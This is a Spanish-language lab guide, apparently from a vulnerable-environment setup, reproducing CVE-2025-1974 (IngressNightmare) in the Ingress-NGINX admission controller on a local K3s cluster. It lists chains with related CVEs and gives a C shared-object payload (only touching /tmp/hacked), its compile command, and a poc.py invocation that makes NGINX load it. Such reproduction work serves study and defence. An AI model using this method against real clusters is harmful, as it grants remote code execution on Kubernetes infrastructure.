
Prueba de concepto de exploit para CVE-2025-1974 (IngressNightmare) dirigido a Kubernetes Ingress-NGINX Admission Controller para lograr ejecución remota de código mediante solicitudes AdmissionReview maliciosas.
Ingress-NGINX: Controlador de ingreso para Kubernetes que utiliza NGINX como proxy inverso y balanceador de carga
La vulnerabilidad "IngressNightmare" (CVE-2025-1974) se origina en un defecto crítico en el Admission Controller de Ingress-NGINX, el mecanismo de seguridad central de Kubernetes que valida los recursos de ingreso entrantes.
Este controlador está expuesto a la red sin autenticación, lo que permite a un atacante manipular solicitudes maliciosas de AdmissionReview e insertar configuraciones no autorizadas en recursos Ingress.
Cuando se combina con otras vulnerabilidades (CVE-2025-24514, CVE-2024-1097 o CVE-2025-1098), puede conducir a la ejecución remota de código.
Algunas cadenas de explotación posibles son las siguientes:
CVE-2025-1974+CVE-2025-24514: RCE mediante inyección de anotación auth-url
CVE-2025-1974+CVE-2025-1097: RCE mediante anotación auth-tls-match-cn
CVE-2025-1974+CVE-2025-1098: RCE mediante abuso de UID de imagen
Para simular la vulnerabilidad, se utiliza un entorno Kubernetes basado en K3s por simplicidad
docker compose up -d
Espera hasta que la API de Kubernetes esté lista y el controlador Ingress-nginx se haya iniciado. Una vez que el entorno se inicia, Ingress-NGINX escucha en los puertos 30080 y 30443 (TLS), y el Admission Controller de Ingress-NGINX en el puerto 30443.
Primero, se debe compilar un payload de objeto compartido (.so) que coincida con la arquitectura del contenedor.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
El exploit AdmissionReview funciona falsificando una solicitud de inyección de directiva que obliga a NGINX a cargar un objeto compartido dinámico malicioso.
Si el exploit tiene éxito, se puede verificar que se ha creado un archivo ssl_engine dentro del contenedor ingress-nginx.
